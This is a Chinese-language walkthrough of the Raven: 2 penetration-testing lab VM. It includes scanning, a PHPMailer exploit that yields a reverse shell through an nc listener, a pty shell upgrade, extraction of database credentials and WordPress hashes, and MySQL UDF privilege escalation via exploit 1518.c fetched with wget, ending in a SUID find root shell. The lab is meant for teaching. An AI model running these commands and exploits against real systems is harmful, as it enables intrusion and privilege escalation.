目录

Raven-2靶场渗透测试

目录

Raven: 2靶场渗透测试

Raven: 2

来自 < >

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

https://i-blog.csdnimg.cn/direct/322ea13d109a448ca1a98de989ab74bd.png

那么攻击机IP为192.168.23.182,靶场IP192.168.23.189

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.189

https://i-blog.csdnimg.cn/direct/fa4c99cfa15d4d18ac4b0e256cb6d6c1.png

HTTP服务(80/tcp)

  • 版本信息

    Apache 2.4.10 (Debian)

    该版本存在多个漏洞(如 、 ),可能导致请求走私或拒绝服务。

  • 暴露信息

    • 服务器头明确显示版本(Apache/2.4.10 (Debian)),便于攻击者针对性利用。
    • 页面标题为“Raven Security”,可能为自定义Web应用,需检查是否存在SQL注入、XSS、文件上传等漏洞。
  • 建议

    1. 升级Apache 至最新稳定版(2.4.58+)。

    2. 隐藏服务器版本信息

      ServerTokens Prod

      ServerSignature Off

    3. 部署WAF (如ModSecurity)并定期扫描Web漏洞(使用工具如Nessus、Burp Suite)。

    4. 检查Raven Security应用代码,修复潜在漏洞。

RPC服务(111/tcp, 46435/tcp)

  • 服务详情
    • rpcbind 2-4:用于远程过程调用(RPC),管理NFS等服务的端口映射。
    • 开放端口包括111/tcp、46435/tcp及相关UDP端口,暴露了status服务(RPC #100024)。
  • 风险
    • 已知漏洞如 (缓冲区溢出导致RCE)。
    • RPC服务可能被用于DDoS反射攻击或信息泄露。
  • 建议
    1. 禁用不必要的RPC服务

      systemctl stop rpcbind

      systemctl disable rpcbind

    2. 若必须使用NFS, 限制访问IP 并升级至最新版本。

    3. 配置防火墙 (如iptables)阻止外部访问RPC端口。

4,依然访问80端口服务

https://i-blog.csdnimg.cn/direct/5e08b21ab7164570bdcff7b158a90709.png

和raven是一样的,卡顿的原因是因为没有做域名解析,手动修改/etc/hosts配置一下

vim /etc/hosts

192.168.23.189 raven.local

https://i-blog.csdnimg.cn/direct/397f3af051ef4132af241a2fdbe2f317.png

5,枚举扫描网站的子目录

dirsearch -u -x 404,403,500

https://i-blog.csdnimg.cn/direct/f3931dec9f384a52be1ac59d02faa89a.png

观察目录看见网站依然是wordpress搭建的。分别查看内容,在http://raven.local/vendor/PATH得到flag1

https://i-blog.csdnimg.cn/direct/1ccb1ce63e1440b9b8c187961e079300.png

而在http://raven.local/vendor/README.md网页,这些内容对网站构成了信息泄露

https://i-blog.csdnimg.cn/direct/ced9be3670ff4aa1a56ebce88923bf5d.png

可以知道PHPMailer版本为5.2.1

https://i-blog.csdnimg.cn/direct/87584cd61d8245c99f97199495a80a97.png

然后再看看/wordpress

https://i-blog.csdnimg.cn/direct/ed09fb0a221a4247acbe9aa64f6b22aa.png

再whatweb做指纹识别扫描

https://i-blog.csdnimg.cn/direct/882c94509510481e8555c8c63d69d41d.png

6,检索漏洞,查看PHPmailer的公开exp

searchsploit PHPmailer

https://i-blog.csdnimg.cn/direct/15804909472642d1af158b6f7543bc4b.png

使用40974.py

searchsploit -m 40974.py

https://i-blog.csdnimg.cn/direct/2ffa4178e75949309063f9798e279422.png

7,然后修改编辑exp,使之能够使用

开头加上:

#!/usr/bin/python

-- coding: utf-8 --

https://i-blog.csdnimg.cn/direct/d127ed48549646d4a5883948b81e43d8.png

然后修改三处target,payload,fields

https://i-blog.csdnimg.cn/direct/1c14ef275ad34b058e3971c5ac39456c.png

但是直接运行会存在问题

https://i-blog.csdnimg.cn/direct/67f9a899e0e7460aa2e97fd15ceeb383.png

× 此Python环境受外部管理

╰─> 若需在系统全局安装Python包,请尝试使用apt安装

python3-xyz,其中xyz是你要安装的包名。

如果你想安装非Kali官方仓库提供的Python包,

请使用python3 -m venv path/to/venv创建一个虚拟环境。

然后使用path/to/venv/bin/python和path/to/venv/bin/pip。

确保已安装pypy3-venv。

如果你想安装非Kali官方仓库提供的Python应用程序,

最简单的方法是使用pipx install xyz,它会为你管理虚拟环境。

确保已安装pipx。

更多信息请参考:

  • /usr/share/doc/python3.12/README.venv

注意:如果你认为这是一个错误,请联系Python或系统发行版的支持人员。

你可以通过添加--break-system-packages参数强制安装,但这可能破坏Python环境或系统。

解决方案:

export https_proxy=“http://192.168.99.74:50302”

安装虚拟环境工具(如果未安装)

sudo apt install python3-venv

创建并激活虚拟环境

python3 -m venv myenv       # 创建名为myenv的虚拟环境

source myenv/bin/activate  # 激活虚拟环境

在虚拟环境中安装requests_toolbelt

pip3 install requests_toolbelt

pip3 install lxml

https://i-blog.csdnimg.cn/direct/215e6520d700469cb88a8ed6ea8ce551.png

#虚拟环境中启动攻击脚本

https://i-blog.csdnimg.cn/direct/a8a851dbe7774a13a1fd26869de0a756.png

使用后退出虚拟环境

deactivate

与此同时kali需要nc监听4444端口,访问后门文件就会触发反弹shell

https://i-blog.csdnimg.cn/direct/554fd40052b14f6eb4c6c407fe4990e3.png

成功getshell

8,python启动可交互shell在该用户下查找flag

python -c ‘import pty;pty.spawn("/bin/bash")’

https://i-blog.csdnimg.cn/direct/c2915473b5484bb99a4c63d602e9ff2d.png

find / -name flag*

https://i-blog.csdnimg.cn/direct/8c4356fe78d24f0aa310423cf7f0b6e1.png

cat /var/www/flag2.txt

https://i-blog.csdnimg.cn/direct/4ff009301fb44457b5aaf9423b048c8b.png

查看/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png得到flag3。访问:

https://i-blog.csdnimg.cn/direct/d8c39123eae64585a49089535e911860.png

9,接下来是一样的套路,查看数据库配置文件以得到数据库登录密码

https://i-blog.csdnimg.cn/direct/f7051c9b1547401ab1e6a0fe4b14a573.png

得到账户/密码:root/R@v3nSecurity

https://i-blog.csdnimg.cn/direct/2e936486d94a4b26abff4dea990d5079.png

10,靶机本地登录数据库

mysql -u root -p

https://i-blog.csdnimg.cn/direct/5f978dcf95e84dfdbee5228ad55ef9ce.png

查看数据库 show databases;

使用数据库 use wordpress;

https://i-blog.csdnimg.cn/direct/6d0fe46ba3c44c9e9b17fb623d40d0cb.png

查看数据表 show tables;

从数据表从查询用户名密码  select * from wp_users;

https://i-blog.csdnimg.cn/direct/0964f8ad5d824cf6b36cf5f027297e03.png

michael|$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven|$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

MySQL UDF提权的场景

UDF(User-Defined Function,用户自定义函数)提权 是一种通过MySQL功能执行系统命令的攻击方式,常见于以下场景:

  1. 已获取MySQL数据库权限
    • 攻击者通过SQL注入、弱口令、数据库配置泄露等方式获取MySQL账户权限(如SELECT、FILE权限)。
  2. 需要系统级权限提升
    • 数据库用户权限较低(如普通用户),但通过UDF可调用系统命令(如执行/bin/bash)。
  3. 目标系统未严格限制文件写入
    • MySQL服务账户(如mysql用户)具备写入系统敏感目录(如插件目录/usr/lib/mysql/plugin/)的权限。

UDF提权的必要条件

1. MySQL权限要求

  • FILE权限 :允许读写服务器文件(通过SELECT … INTO OUTFILE或LOAD_FILE)。
  • CREATE FUNCTION权限 :允许创建自定义函数。
  • INSERT/UPDATE权限 :可能需操作mysql.func表注册函数。

2. 系统环境要求

  • 插件目录可写

    MySQL的插件目录(如/usr/lib/mysql/plugin/)对MySQL进程可写,且路径可通过以下命令查询:

    SHOW VARIABLES LIKE ‘plugin_dir’;

  • secure_file_priv配置宽松

    若该参数设置为空或指定可写目录,允许导出文件:

    SHOW VARIABLES LIKE ‘secure_file_priv’;

  • UDF动态库兼容性

    • 动态库文件(.so或.dll)需与操作系统及MySQL版本匹配(如Linux用.so,Windows用.dll)。
    • 示例库:lib_mysqludf_sys.so(用于执行系统命令)。

3. MySQL服务权限

  • MySQL运行账户权限

    MySQL服务进程(如mysqld)需以高权限账户运行(如root或具备sudo权限的账户),否则提权后只能获取低权限Shell。

11,但是知道账户密码没有用,需要数据库提权。判断之后分析无法使用UDF提权:

禁止使用root用户远程登录

https://i-blog.csdnimg.cn/direct/a5da23f6cd2f4dcb80be393cae1bc089.png

show global variables like ‘secure%’;

用于查询 MySQL 全局变量中所有以 secure 开头的配置参数,主要用于检查与安全相关的关键设置。

核心目标是确认 secure_file_priv 的值 ,该参数直接控制 MySQL 的文件导入/导出权限,是防御文件写入攻击(如SQL注入导出WebShell、UDF提权)的关键配置。

https://i-blog.csdnimg.cn/direct/d0c3f2e15c5e43449cbae4d1a87f5971.png

SHOW VARIABLES LIKE ‘%plugin%’;

用于查询 MySQL 中所有名称包含 plugin 的系统变量, 核心目标是获取与插件(Plugin)相关的配置信息 ,尤其是插件目录路径、加载状态及认证插件类型。这些信息在安全审计和漏洞利用(如UDF提权、认证绕过)中至关重要。

https://i-blog.csdnimg.cn/direct/f8954a160b184e9b81f44e1abd73110c.png

12,这些信息说明MSF提权是不可行的。尝试版本漏洞提权,首先我们要知道数据库的版本

select version();

https://i-blog.csdnimg.cn/direct/1762dcc285794bd6be852833c14b4d03.png

检索漏洞信息,使用1518.c

searchsploit mysql UDF

searchsploit -m 1518.c

https://i-blog.csdnimg.cn/direct/1cf62efdbc2f4088b6683e7533b8ff14.png

13,阅读exp,使用方法如下

https://i-blog.csdnimg.cn/direct/04fe9d8eaaca4c0294d04da9bd2ffb4b.png

然后进行编译

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o -lc

-g //生成调试信息

-c //编译(二进制)

-shared //创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-o //指定输出文件的名称

-lc //这个选项告诉链接器链接C标准库。这是生成大多数C程序所必需的。

https://i-blog.csdnimg.cn/direct/27678b0ca30a4c768d1283d9b3015449.png

攻击机使用python的http模块开启服务

python -m http.server

https://i-blog.csdnimg.cn/direct/3067f497a04747ac8a11c6e734e7bff6.png

靶机进入tmp下载exp

wget

https://i-blog.csdnimg.cn/direct/6263f215aa304c90b42d2c367d8d46cc.png

然后登录数据库,创建自定义函数

mysql -u root -p R@v3nSecurity

use mysql;

create table foo(line blob);

insert into foo values(load_file(’/tmp/1518.so’));

select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’;

create function do_system returns integer soname ‘1518.so’;

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

quit

https://i-blog.csdnimg.cn/direct/b23730d38c924972a9a589a70ba25d1f.png

touch foo

find foo touch -exec “/bin/sh” ;

https://i-blog.csdnimg.cn/direct/75e7d3dd7c67404393bc672d9a3a0f14.png

成功提权成为root,得到flag4

https://i-blog.csdnimg.cn/direct/5781aad4239d43acb191768e6ef85f77.png